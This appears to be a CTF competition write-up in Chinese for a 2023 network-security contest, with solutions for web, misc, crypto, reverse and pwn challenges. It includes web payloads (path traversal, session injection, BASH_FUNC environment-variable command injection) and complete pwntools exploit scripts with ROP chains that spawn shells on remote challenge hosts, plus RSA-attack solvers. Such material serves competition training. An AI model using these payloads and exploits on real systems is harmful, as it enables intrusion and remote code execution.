SanDieg0 2023信创大赛一一技能类网络安全赛项初赛WP
2023-11-14 20:53:13 Author: 山警网络空间安全实验室(查看原文) 阅读量:36 收藏

Ranking:第一、第二

Score:3989.67、3583.58

日志里的FLAG:

提示说在日志里面,知道是nginx服务,那就读nginx对应的日志:

var/log/nginx/access.log

因为log进行了replace,双写进行一下绕过:path=/var/lologg/nginx/access.lologg

购买FLAG:

在花费界面把花钱变成充钱:了以后再购买flag:

一只小蜜蜂:

https://www.cnblogs.com/XuyeZi/p/17673615.html

在前端存在一个鉴权漏洞,通过设置session:在任意页面发送payload,然后直接访问admin

_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=12345678912345

/admin/admin.php:

admin/admin_template.php?action=xg&nav=list_tpl&admin_p_nav=tpl&lang=cn&file=index.php

然后直接写上拿flag的命令:

Better_php:

https://blog.csdn.net/Zero_Adam/article/details/114680579

一定能够查询到的表:

找到对应的php文件访问:

可以发现是个putenv的注入:

https://tttang.com/archive/1450/#toc_0x03-dash

因为system是bash -c 在index.php中已经使用了echo,所以我们要覆盖echo,在include index.php的时候就会执行我们的命令:

env[BASH_FUNC_echo()]=()%20{%20id;%20}

用dir /读根目录发现flag为f1ag,然后用/bin/cat:

env[BASH_FUNC_echo()]=()%20{%20/bin/c*%20/[b-h]1*;%20}

时间不多了

上个脚本梭一下批量扫二维码

from PIL import Image
from pyzbar import pyzbar
import base64

for i in range(1301):
    img = Image.open(f"qrcode_{i}.png")

    data = pyzbar.decode(img)[0].data
    decoded = base64.b64decode(data).decode()
    print(decoded)

之后发现

2 3 4 9 15 17 18 23 30
6 13 20 27 28
2 15 22 17 24 16
6 5 4 11 18 25 26 27 28 20 21
2 3 9 15 23 30 31
5 13 20 27 14 21
6 19 26 21 28 20
9 10 11 17 24 31
1 2 3 8 15 16 17 22 29 30
2 3 9 16 17 24 30 31
2 8 15 23 24 18 11 3
1 2 9 17 23 30 29

在日历中对比日期画图即可

未知的加密

下载附件,winhex看提示掩码爆破,bandzip梭了

一眼容器,取证大师梭了,得到一个VC容器

导出来,猜测密码一样,

直接记事本看,秒了

Datas_secret

下载附件,得到一个vmem文件,volatility梭了

IC-Card

下载附件,从网上找了一个工具,结合数据分析一下

1扇区是有用数据,提取出来,Cyber梭了

q1s1n1c1t1f1

解压之后分析得到几个tar包,winhex看一下得到flag

卑劣的手段

下载附件,依旧vmem文件,volatility梭了

zsteg秒了

EasyRSA

秒了

exp:

"""
from gmpy2 import *
from Crypto.Util.number import *

flag  = 'flag{I\'m not gonna tell you the FLAG}' # 这个肯定不是FLAG了,不要交这个咯

p = getPrime(2048)
q = getPrime(2048)
m1 = bytes_to_long(bytes(flag.encode()))

e1 = 3247473589
e2 = 3698409173

n = p*q

flag1 = pow(m1,e1,n)
flag2 = pow(m1,e2,n)
print('flag1= '+str(flag1))
print('flag2= '+str(flag2))
print('n= '+str(n))

# flag1= 295658788074157816670393593671184451782123605135184996662528766686642109492132533952160456440919197939935742027629210419312032730004032666912404179229952394343569590488768472800784830058534578639706805456277578757250365834591813481786084959844340418320620440636997732915872346619679993987903742079972676425404864295283955565746004124045155664762158516005326368384488346997494926539295740248007606864906884407198601326915643000764477435205579583836917598642053869541648731754384026407310786288997756775232852732033054591953078116290088267188296560877481534143707414153749140670404213262630122369941889862912426176115220410931992046973925991075473656781794097329513119548617920256625579072719981729556158392454956362838720993254919638177786730004086883044525967823454986241038123671907279715773848673713008902432841449556980494600938989397567019338970200872333713986608537678650318511128703055185979834233315117153115613952940778789222515375743186066883492596068186378372611075958909412662251913621375996518671118244409393829141365207153662416265238312206577474940661548038715230313608405518108581922154335405303862701783678336161505643508831482409054761542959278392940037561736468155509922530420964726953308604138731805543997557197893
# flag2= 219454357017359138238563345020257296433275019950745269658921329153689267055871241202626317639487122341365759606018366576305678949982408366815977617307888894995289951707241009621444691307275542686770303994110416384086739599181934011812163156338859395115724413628620575935425221522079154607411877822646179457455118804970038865452163833416447505142114976758532806787419762250921421272492466133659234602794242531776209324085944417173098820895755851386042954303555790085402616519592065446023510096773546730662074307900123349548340507067971393642039476326402523930789953483843698593104578179169624886357604650615249286150367204109726460230037005175927865466199600272190112483494387929732049738312695796015009178606906549093365261114132002222704510637261038978031857378729856467918978246977163353146981239215886053379980533235786905270211605457443266127512667882149285155542735532327780898540341696557860555884277608448996773250847560675650046440569736010800155992053362696097992699863059686881689842065077997427372972290872427656847223849769329713841670853267584161386494525686204330028142217737052411422895042170169703550774908415280261731967511925122636118468176645781785352430657090024109246103061415446942211482659025722233229083093876
# n= 549785700554963543393222974982211136067042846536450239199968863551137077564447156832697813202963334596948298760762991663065504535035143397250208506445202607659676332816610122258862787906629525548439909792727593939957178783466989816894454522630301104349317697612174888605090061231211194974337772507249418567229560145454791075929946332668360553910328900103264562348881791004831033587660163923517440406942993348972589262051083908075790422096042338651001937740085414301019827335549437397656318095919875053213333008551761167437683250592542156348138055482054331330609375930693247365749085041596578748797801601289693449629548744535914348450016287545136436964138806081283470239420969311905998245715160353982174880912315601876305613349276824998688275587308133069178764001924866079232824850209407236694426779262951463035278887804883917516580169051530590466082511045503107508117656821592538792566264160105940730326929474477787053681516844548383814388361089499629312831727731267796167205124844987064389097138747938870221504684958713047985374714612321540288239995935347905120710583169131356970267386562665138437631517802641426575996558648777831102462652517305151412695166331935115971277205305816897886952646432233312318756155702046584205507027737
"""


import gmpy2
from gmpy2 import *
from Crypto.Util.number import *

n=549785700554963543393222974982211136067042846536450239199968863551137077564447156832697813202963334596948298760762991663065504535035143397250208506445202607659676332816610122258862787906629525548439909792727593939957178783466989816894454522630301104349317697612174888605090061231211194974337772507249418567229560145454791075929946332668360553910328900103264562348881791004831033587660163923517440406942993348972589262051083908075790422096042338651001937740085414301019827335549437397656318095919875053213333008551761167437683250592542156348138055482054331330609375930693247365749085041596578748797801601289693449629548744535914348450016287545136436964138806081283470239420969311905998245715160353982174880912315601876305613349276824998688275587308133069178764001924866079232824850209407236694426779262951463035278887804883917516580169051530590466082511045503107508117656821592538792566264160105940730326929474477787053681516844548383814388361089499629312831727731267796167205124844987064389097138747938870221504684958713047985374714612321540288239995935347905120710583169131356970267386562665138437631517802641426575996558648777831102462652517305151412695166331935115971277205305816897886952646432233312318756155702046584205507027737

flag1=295658788074157816670393593671184451782123605135184996662528766686642109492132533952160456440919197939935742027629210419312032730004032666912404179229952394343569590488768472800784830058534578639706805456277578757250365834591813481786084959844340418320620440636997732915872346619679993987903742079972676425404864295283955565746004124045155664762158516005326368384488346997494926539295740248007606864906884407198601326915643000764477435205579583836917598642053869541648731754384026407310786288997756775232852732033054591953078116290088267188296560877481534143707414153749140670404213262630122369941889862912426176115220410931992046973925991075473656781794097329513119548617920256625579072719981729556158392454956362838720993254919638177786730004086883044525967823454986241038123671907279715773848673713008902432841449556980494600938989397567019338970200872333713986608537678650318511128703055185979834233315117153115613952940778789222515375743186066883492596068186378372611075958909412662251913621375996518671118244409393829141365207153662416265238312206577474940661548038715230313608405518108581922154335405303862701783678336161505643508831482409054761542959278392940037561736468155509922530420964726953308604138731805543997557197893
flag2=219454357017359138238563345020257296433275019950745269658921329153689267055871241202626317639487122341365759606018366576305678949982408366815977617307888894995289951707241009621444691307275542686770303994110416384086739599181934011812163156338859395115724413628620575935425221522079154607411877822646179457455118804970038865452163833416447505142114976758532806787419762250921421272492466133659234602794242531776209324085944417173098820895755851386042954303555790085402616519592065446023510096773546730662074307900123349548340507067971393642039476326402523930789953483843698593104578179169624886357604650615249286150367204109726460230037005175927865466199600272190112483494387929732049738312695796015009178606906549093365261114132002222704510637261038978031857378729856467918978246977163353146981239215886053379980533235786905270211605457443266127512667882149285155542735532327780898540341696557860555884277608448996773250847560675650046440569736010800155992053362696097992699863059686881689842065077997427372972290872427656847223849769329713841670853267584161386494525686204330028142217737052411422895042170169703550774908415280261731967511925122636118468176645781785352430657090024109246103061415446942211482659025722233229083093876

m1=50937517511024885628554207338398365231626194397320602086419005953499737858515381331773309

e1 = 3247473589
e2 = 3698409173

flag  = 'flag{I\'m not gonna tell you the FLAG}'

def rsa_gong_N_def(e1,e2,c1,c2,n):
    e1, e2, c1, c2, n=int(e1),int(e2),int(c1),int(c2),int(n)
    print("e1,e2:",e1,e2)
    print(gmpy2.gcd(e1,e2))
    s = gmpy2.gcdext(e1, e2)
    print(s)
    s1 = s[1]
    s2 = s[2]
    if s1 < 0:
        s1 = - s1
        c1 = gmpy2.invert(c1, n)
    elif s2 < 0:
        s2 = - s2
        c2 = gmpy2.invert(c2, n)
    m = (pow(c1,s1,n) * pow(c2 ,s2 ,n)) % n
    return int(m)

fllag=rsa_gong_N_def(e1,e2,flag1,flag2,n)
print(long_to_bytes(fllag))

BabyRSA

公钥:
-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBAKOSX8AR8/CsqasPfC7VL5aJzic8W9KFI1920SHhEhmcWd7yp5Dl9UfXgzLHIIZJExd7D1CwIxAMHANHV6qF/7FEedwEMHusBxbAWsjXQUGFeEMmzo+SUVbbRnDSw/jZwCNoofQfukVO7+5CBzV5S/N5WDTk+8bvwfrDDA9AHdW5AgMBAAE=
-----END RSA PUBLIC KEY-----

密文
QhS9n7TkavmU8E4CFa872ZzqIq/NG/agtCkxQBzB0/E1PDZRv6otOYxBLsxwd/7h0fPkYYMCpPt4nXqYBGQ/n8/F3q3spV94+IFs7+CjyybUvAQg8MXLgSTzVt+ua0Ub0/et5/7Q1xAcgzT3/jWHwjklEAykdpSYMAqv5PQrhT4=

提示
回答个问题吧,回答正确了就给你提示。
求小于100的所有正整数中,与10互质的数有多少个?

私钥:
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQCjkl/AEfPwrKmrD3wu1S+Wic4nPFvShSNfdtEh4RIZnFne8qeQ5fVH14MyxyCGSRMXew9QsCMQDBwDR1eqhf+xRHncBDB7rAcWwFrI10FBhXhDJs6PklFW20Zw0sP42cAjaKH0H7pFTu/uQgc1eUvzeVg05PvG78H6wwwPQB3VuQIDAQABAoGADZ61jFeyWTr3UcATVg74TG+jE89J0gi1/k/1b/2+tRU4woCwBTewqc+/I+5Cvgu9pDnh95UDBmYLuxYorZFEzgrSa3rZ5y7OFQZl9nXapt2LttBXoQaWf3jtyslsGmfNi/VuNgKaiiVwINhVG8NeIFzzAB3AqNDitHlKDalkKZECQQDN1lZKV8bximZNDVL9CajmdE6f3DobYgGNvOXsOS4Qkzx+/3LvAbqSiiiel5V08pBIG18DRIpxBRN57z8fbJxlAkEAy28zeeMeb3ZFL7/iyosQ8RWrz3/BxlUtREh9GSplRa7EJtjm852IQCk98lg2HR++tuugmdtVAS0lxd/UVDXMxQJAFaVwtai9dzFCyN+Z1pppdLLOgek7Ax4vY6R12X255mxVdFWQ1Kmt4TM+Sk9OnFnV6n9WYpWWqYQLJEuQq9FUMQJAe6Vt+yJhCEwxRxFw7bxSosWSNL8o7rwslDke1+HdxdmwXRAuZ1mTS7QFc7vLwC3gQ9u5NGqMIvfm4nrl2f0NJQJAJrOQDrZX/KpYAnFmW8IGXxkcJrtdB2Xi9VN1WdC9r4QGz28X5ScH0o9mcYVxaDxzNU7A9DPiRL28fAltiGdJLg==
-----END RSA PRIVATE KEY-----

base64解一下,bytes_to_long解一下之后常规rsa秒了

flag{c2915ff0a0ca8ffd50af20cd27682ff2}

N and n

秒了

exp:

# from Crypto.Util.number import *
# import gmpy2
#
# flag = b'xxx'
# part1 = flag[:len(flag)//2]
# part2 = flag[len(flag)//2:]
# P = getPrime(1024)
# Q = getPrime(1024)
# N = P * Q
# E = 65537
# lcm = gmpy2.lcm(P-1, Q-1)
# e1 = gmpy2.invert(getPrime(729), lcm)
# e2 = gmpy2.invert(getPrime(729), lcm)
# m = bytes_to_long(part1)
# C = pow(m, E, N)
#
# print(f'e1 = {e1}')
# print(f'e2 = {e2}')
# print(f'C = {C}')
# print(f'N = {N}')
#
# p = getPrime(2048)
# q = getPrime(2048)
# n = p * q
# d = getPrime(2048)
# e = gmpy2.invert(d, (p * p - 1) * (q * q - 1))
# c = pow(bytes_to_long(part2),e,n)
# print(f"e = {e}")
# print(f"c = {c}")
# print(f"n = {n}")

'''
e1 = 6782830682230611892084175893995043755623450171130631139250814602452836410932481493209925839414493072446570097572921721560056963314211148834567825979410196067533609339954325440284367117897127238641398908902696308109917225523901632458380925510517775783868643648356134858145600669382521666362737188742144325523512588157232342293570634035652649445253400156551025152962072745747445128287133526360740783991628418816716755623721512647940638074583741576763841775870753051303810250872868143593623277717239627310768357298460604761267661552551655957927428276127907943998267780474909778188402303623762690857740249960456774790057
e2 = 2103214336317997856589077219522416472126303166911734317206694246467268219995764970161228565888078478437417364428737223600541742231616538055544730871259451853602822824030730446037149215814151937007759784461240091013861699020393748068407644808847481103765151973619978574286131278626194949671002389644717742113710424421427515044238228547483630350104322094022063329900043953074144455813752895850411680204776639620697612634932069006593739621658746752068562661835048227282976669707149561909183948452229624114003615085530216638127958237779537381755038387944189598715581703073251023985468629411284347709891083474234876217463
C = 29989464921369023556682797868010016761018920329572945071155900694105273355964587007056986267712321773704235790532528354216923933793097271606770062213705165659395515866861504389622774632727796989109881498337975935953211195543145705126576701050921790651344138412223208506167505671199878150807990122800243557999848684393902248880601469831139694292727905631653021260642914026110749040895120735190773734221354234102719240917477878117340342682396785253367077886829396722805689079044627803038192815819268299096723702651032328877700961625008336392915779555073331746659247259680693531225729446517842360145219661338579799576558
N = 30344300732028581232055573105267124359676188143150900167627553124815567866404397432618233963414140210742264633672189858251955823399837706447362136668421589160230997509307799044768633993451916070777658566053448924598053107182517067411689272508341060006607406671139418906121846321917188581384347220115835524818729646138538805397174148412625308825976478229354595231559952075478573137303317127264083147914620219710706789060326244876382524823370726774783578934340406201760636614424268881611139037722190200706902280712973313045676140513487706619995064309929439932176799828094975671497855556312196872661906398504926989682483
e = 299742004862647001956313120212789574846580220823019898357792625504178411714797094742432220851214080697312929100795881061754804067011066316407767459562109544884325934987539239861070418621447111093384013351477684377198341027898504996993593283522838272857329217507275894840277894087904595190160194511978382517367710210686608995602714780005450539330715470056742064042206153672425362533446859048923068749681843218896929215564488280011450180418975217192154388297131854037285601204641315928728064065304223386593308998171792136113396426653699567707675838292526904189649118232094386995015436190372800414449432499422121184507296113393960935243786261895033570509606345209363596478499929774934469773180406690091187100398142619942900506959798908476235527337658505697642546150130061396487901956233214920407126566742159502020936536102917887602433208819189094143202883705424044449702123000696909084455782204447010924860970874738632469322937536658587288795299893333604630770500062873462999648761323377136099352157869839874240047601711751117191788451204663149112399751636505123892586635002009146630554168009325095964088948381302377160571209753641851547586086873112029280568971051001188617418651169235174090191703598083547611960978741863850616433263009976666609668535251515828817752896001889209178886059547569894616006038953764625172390993903264458258177870227410638829192618453676849376407446542593464461363622931772907815255954081688800997429274829215857042728871715036568727537618708814278187475175445085765782432533976143942716189575103855683395694832855726053336953735763741373335952612979908944501059234949083627802270461031980382156408726205210854884917749230264947939710324129260944905762085727485969049441097952735976295710871516976985865549318708942751416482271454250791949807080875692537392184605862254771134466225346692451821722506385446147370548767344376192640024822285511915833028610576811425847988096411847042081445063639035379481001149253846725342523772332728219803605916063700830046907196875382999881830571672177374985624241574089434376468760007094988366233326668044929011742179533386718697976595104507037505540811648287104846603486989691127711050916093950525301636944418121491192837338728578578330392782556349149954539883490468195279215271284541239787166817777355721489582824730761639598958998623312024938112967900492630170624380269694407585239618920757230271109189336570404961491906293460873344066516775823246298215432838113623662329545676928716855813667142568884689
c = 126695602720287888676696559539723856104067880497647910249667466893383255209045508458853397118652154927531942978073740450713169724992849585395980530995616033417536181504956346153802206636341529342379554700812003676995067291620365422490729240182771628157839856497982161939850099419818846168892124000934230938596843008515097940267452003035829575993632190810983916075770086955915299960458326215544353491716475416507979327966205005560687748553292934357925494272906793366830635665955254360832729599330402509893842443992566513483714382646025195961137009000018753983651046339079082240599803110561923185022718826369932953293392042843316783280269536972413964168113045731922548355553310815705462142367484991077862467325614074446691792390594414839402047022568848720013674657754350468599049824440676054373139693146540866117364152197587588957272239652412704757261350214302868926397274366692066128442089847092896219437033747372413635564005759528955854210845606433051956506324333881982679048116436237358902439216062577682934439187221817783476381404025207390125422670463968924533866239220945599943424853960721952593755424063509284740828904466959593982825341965617094231864134504669071102977784540127151904413578177761848793566690223185451889990820402
n = 859565655364744504691128999173163629390646814643060535547080894876016015739755448061478525059968284125179725990710325321893406147631932546407240817403077573269303336968136350915335129516055615375854960217610941327794523495841406247731161064324407758961532167363890807327195033732279449216861117755979815380858624730326007741056071800878183909447988835586091073740707308565512311924433072879024119766899755012553349626636468493851062542303298661624120541942178182347374045947609043216734445638877776294108043514178865246029735264509336247861885730840387655988039742469139971460741869400259399992998520698159168380993790528772660805213735331660411376032794407414712321416964946987284847501890015182686215583876281440889392100599628100990699849428461136706052752442644724202914118196513060602262180109347482361752489574671269844731950856639343609901971646601035980653387918471588092168412636621698349007474550692258931250093394500150330222620648922922629823659927849987286747846800518750174996915977804476772593787465161038218032247260333768345962898351749721089493153901951125423616164946743757205492717572128978767398876091279363699959624457451368185973411191832200498560071743826896179527897577648387335153453732357692561765479438357
'''

# from Crypto.Util.number import *
# from gmpy2 import *
#
# e1 = 6782830682230611892084175893995043755623450171130631139250814602452836410932481493209925839414493072446570097572921721560056963314211148834567825979410196067533609339954325440284367117897127238641398908902696308109917225523901632458380925510517775783868643648356134858145600669382521666362737188742144325523512588157232342293570634035652649445253400156551025152962072745747445128287133526360740783991628418816716755623721512647940638074583741576763841775870753051303810250872868143593623277717239627310768357298460604761267661552551655957927428276127907943998267780474909778188402303623762690857740249960456774790057
# e2 = 2103214336317997856589077219522416472126303166911734317206694246467268219995764970161228565888078478437417364428737223600541742231616538055544730871259451853602822824030730446037149215814151937007759784461240091013861699020393748068407644808847481103765151973619978574286131278626194949671002389644717742113710424421427515044238228547483630350104322094022063329900043953074144455813752895850411680204776639620697612634932069006593739621658746752068562661835048227282976669707149561909183948452229624114003615085530216638127958237779537381755038387944189598715581703073251023985468629411284347709891083474234876217463
# C = 29989464921369023556682797868010016761018920329572945071155900694105273355964587007056986267712321773704235790532528354216923933793097271606770062213705165659395515866861504389622774632727796989109881498337975935953211195543145705126576701050921790651344138412223208506167505671199878150807990122800243557999848684393902248880601469831139694292727905631653021260642914026110749040895120735190773734221354234102719240917477878117340342682396785253367077886829396722805689079044627803038192815819268299096723702651032328877700961625008336392915779555073331746659247259680693531225729446517842360145219661338579799576558
# N = 30344300732028581232055573105267124359676188143150900167627553124815567866404397432618233963414140210742264633672189858251955823399837706447362136668421589160230997509307799044768633993451916070777658566053448924598053107182517067411689272508341060006607406671139418906121846321917188581384347220115835524818729646138538805397174148412625308825976478229354595231559952075478573137303317127264083147914620219710706789060326244876382524823370726774783578934340406201760636614424268881611139037722190200706902280712973313045676140513487706619995064309929439932176799828094975671497855556312196872661906398504926989682483
# a  = 5./14
# M1=N**0.5
# M2= N **(a+1)
# D = diagonal_matrix(ZZ,[N,M1,M2,1])
# M=matrix(ZZ,[[1,-N,0,N**2],[0,e1,-e1,-e1*N],[0,0,e2,-e2*N],[0,0,0,e1*e2]])*D
# L=M.LLL()
# t=vector(ZZ,L[0])
# x=t*M**(-1)
# phi = int(x[1]/x[0]*e1)
# d = invert(0x10001,phi)
# m=pow(C,d,N)
# print(m)
# print(long_to_bytes(2284117282070499256116682860908548989816223287))

'flag{238a162f235967c4e64d3aa155ac788c}
e = 299742004862647001956313120212789574846580220823019898357792625504178411714797094742432220851214080697312929100795881061754804067011066316407767459562109544884325934987539239861070418621447111093384013351477684377198341027898504996993593283522838272857329217507275894840277894087904595190160194511978382517367710210686608995602714780005450539330715470056742064042206153672425362533446859048923068749681843218896929215564488280011450180418975217192154388297131854037285601204641315928728064065304223386593308998171792136113396426653699567707675838292526904189649118232094386995015436190372800414449432499422121184507296113393960935243786261895033570509606345209363596478499929774934469773180406690091187100398142619942900506959798908476235527337658505697642546150130061396487901956233214920407126566742159502020936536102917887602433208819189094143202883705424044449702123000696909084455782204447010924860970874738632469322937536658587288795299893333604630770500062873462999648761323377136099352157869839874240047601711751117191788451204663149112399751636505123892586635002009146630554168009325095964088948381302377160571209753641851547586086873112029280568971051001188617418651169235174090191703598083547611960978741863850616433263009976666609668535251515828817752896001889209178886059547569894616006038953764625172390993903264458258177870227410638829192618453676849376407446542593464461363622931772907815255954081688800997429274829215857042728871715036568727537618708814278187475175445085765782432533976143942716189575103855683395694832855726053336953735763741373335952612979908944501059234949083627802270461031980382156408726205210854884917749230264947939710324129260944905762085727485969049441097952735976295710871516976985865549318708942751416482271454250791949807080875692537392184605862254771134466225346692451821722506385446147370548767344376192640024822285511915833028610576811425847988096411847042081445063639035379481001149253846725342523772332728219803605916063700830046907196875382999881830571672177374985624241574089434376468760007094988366233326668044929011742179533386718697976595104507037505540811648287104846603486989691127711050916093950525301636944418121491192837338728578578330392782556349149954539883490468195279215271284541239787166817777355721489582824730761639598958998623312024938112967900492630170624380269694407585239618920757230271109189336570404961491906293460873344066516775823246298215432838113623662329545676928716855813667142568884689
c = 126695602720287888676696559539723856104067880497647910249667466893383255209045508458853397118652154927531942978073740450713169724992849585395980530995616033417536181504956346153802206636341529342379554700812003676995067291620365422490729240182771628157839856497982161939850099419818846168892124000934230938596843008515097940267452003035829575993632190810983916075770086955915299960458326215544353491716475416507979327966205005560687748553292934357925494272906793366830635665955254360832729599330402509893842443992566513483714382646025195961137009000018753983651046339079082240599803110561923185022718826369932953293392042843316783280269536972413964168113045731922548355553310815705462142367484991077862467325614074446691792390594414839402047022568848720013674657754350468599049824440676054373139693146540866117364152197587588957272239652412704757261350214302868926397274366692066128442089847092896219437033747372413635564005759528955854210845606433051956506324333881982679048116436237358902439216062577682934439187221817783476381404025207390125422670463968924533866239220945599943424853960721952593755424063509284740828904466959593982825341965617094231864134504669071102977784540127151904413578177761848793566690223185451889990820402
n = 859565655364744504691128999173163629390646814643060535547080894876016015739755448061478525059968284125179725990710325321893406147631932546407240817403077573269303336968136350915335129516055615375854960217610941327794523495841406247731161064324407758961532167363890807327195033732279449216861117755979815380858624730326007741056071800878183909447988835586091073740707308565512311924433072879024119766899755012553349626636468493851062542303298661624120541942178182347374045947609043216734445638877776294108043514178865246029735264509336247861885730840387655988039742469139971460741869400259399992998520698159168380993790528772660805213735331660411376032794407414712321416964946987284847501890015182686215583876281440889392100599628100990699849428461136706052752442644724202914118196513060602262180109347482361752489574671269844731950856639343609901971646601035980653387918471588092168412636621698349007474550692258931250093394500150330222620648922922629823659927849987286747846800518750174996915977804476772593787465161038218032247260333768345962898351749721089493153901951125423616164946743757205492717572128978767398876091279363699959624457451368185973411191832200498560071743826896179527897577648387335153453732357692561765479438357

from gmpy2 import iroot
from Crypto.Util.number import *
#
# def contfrac_attack(e, n):
#     convergents = continued_fraction(ZZ(e) / ZZ(int(n^2 -9/4*n +1))).convergents()
#     for c in convergents:
#         k = c.numerator()
#         d = c.denominator()
#         if pow(pow(2, int(e), int(n)), int(d), n) == 2:
#             phi = (e * d - 1) // k
#             p_add_q = iroot(n ^ 2 + 1 - phi + 2 * n, 2)[0]
#             p_sub_q = iroot(n ^ 2 + 1 - phi - 2 * n, 2)[0]
#             p = (p_add_q + p_sub_q) // 2
#             q = n // p
#             # if p<q:
#             #    p,q = q,p
#             # print('

[',p,',',q,',',d,'],')
#             return p, q, d
#
#
# print(contfrac_attack(e,n))
d=18961899002023854611235080952441174602163021799998125050311295713208337644520017083157450411127907657858460049905138783433875601914550240250951702737057262635185187458404540876566113593403284738646716269735517933385409692610647545905091000576137734801380650525582602589123669807391692559556286207341089948548376630668611139915349072801206642091255819749003733753156001843357410390205932987843712847571095975117673793301007860663764420477260757153974351827821656946630385792499059777405052680856491649487866763155768429701893343437185115290874545816729452010201272449443287233657525138247914179181083479237938693638449
m=pow(c,d,n)
print(long_to_bytes(m))

flag{238a162f235967c4e64d3aa155ac788c}

BabyRe

EasyRe

AES解密

xxTEA

import xxtea
enc=[172175,  29,  52247132,  72,   9115145,
   51244,  16251118,   2197167,  77177,
  218209241,  15174130184103,  96180,
  248191159,  66,  60,  58186,   3234,  87,
  122,  51,  83,   3]
key=[ord(i) for i in "S1ert1ng"]+[0]*(16-len("S1ert1ng"))
print(bytes.fromhex(xxtea.decrypt(bytes(enc), bytes(key), padding=False).hex()))

TEA

expforTEA
print(''.join([chr(get_wide_byte(0x1346+3+i*7)) for i in range(18)]))
\>>flag{tea_s0_ea3y!}

gore

PWN1

from pwn import *
#context.arch='amd64'
context.log_level = 'debug'
#io=process("./JNpwn1")
io=remote("vt.jnxl2023.sierting.com",30458)
elf=ELF('/home/k/桌面/JNpwn1' )
r = lambda : io.recv()
rx = lambda x: io.recv(x)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
uu64= lambda : u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) 
uu32= lambda : u32(io.recvuntil("\xf7")[-4:])
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
shell = lambda : io.interactive()
libc=elf.libc
#gdb.attach(io)
sl(b'1')
sl(b'1')
sl(b'1')
sl(b'1')
sl(b'2')
sl(b'0')
sl(b'1')
pause()
sl(b'a'*0x358+p64(0x4025db))
shell()

PWN2

from pwn import *
#r = process("/home/ubuntu/pwn/pwn2/pwn")
r = remote("vt.jnxl2023.sierting.com",32735)
elf = ELF('/home/k/桌面/JN2' )
libc = ELF('/home/k/桌面/JNlibc.so.6' )
context(arch="amd64",os="linux",log_level="debug")
context.terminal = ['terminator''--new-tab''-x']

def dbg(src):
    gdb.attach(r,src)
    pause()

pop_rdi_ret = 0x00000000004011e3
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = 0x401090
ret = 0x000000000040101a

payload = b'a'*0x18+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
r.sendlineafter("gift:",payload)

libc_base = u64(r.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - libc.symbols['puts']
success("libc_base = "+hex(libc_base))

system_addr = libc_base+libc.symbols['system']
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()

payload = b'a'*0x18+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system_addr)
r.sendlineafter("gift:",payload)

r.interactive()

PWN3

from pwn import *

r = remote("vt.jnxl2023.sierting.com",30991)
elf = ELF('/home/k/桌面/JNpwn3' )
context(arch="arm",os="linux",log_level="debug")
context.terminal = ['terminator''--new-tab''-x']

def dbg(src):
    gdb.attach(r,src)
    pause()

bss_addr = 0x86600

pause()
payload = ":admin:abcdefg"
r.sendlineafter("message",payload)
payload = ":ctfer:zzz"
r.sendlineafter("message",payload)

payload = b'a'*0x24+p32(bss_addr+0x28)
payload += p32(0x0001014c)+p32(bss_addr)+p32(0x10694)
r.sendlineafter("say something\n============\n",payload)

pause()
payload = b'/bin/sh\x00'
payload = payload.ljust(0x28,b'a')
payload += p32(0x000236f4)+p32(bss_addr)+p32(0)+p32(0x00059e48)+p32(0)+p32(0x0001d234)+p32(0)+p32(0x0001014c)+p32(0x0001d234)+p32(0x0005a400)+p32(11)+p32(0x0001d230)

r.sendline(payload)

r.interactive()


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5Njc1OTYyNA==&mid=2450786611&idx=1&sn=653af7dd8f10ad07e215488b6fa932d6&chksm=b104f8148673710217631d0b70c4aa0322377d015e8f1db99e79781929077c3e112f806b0835&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh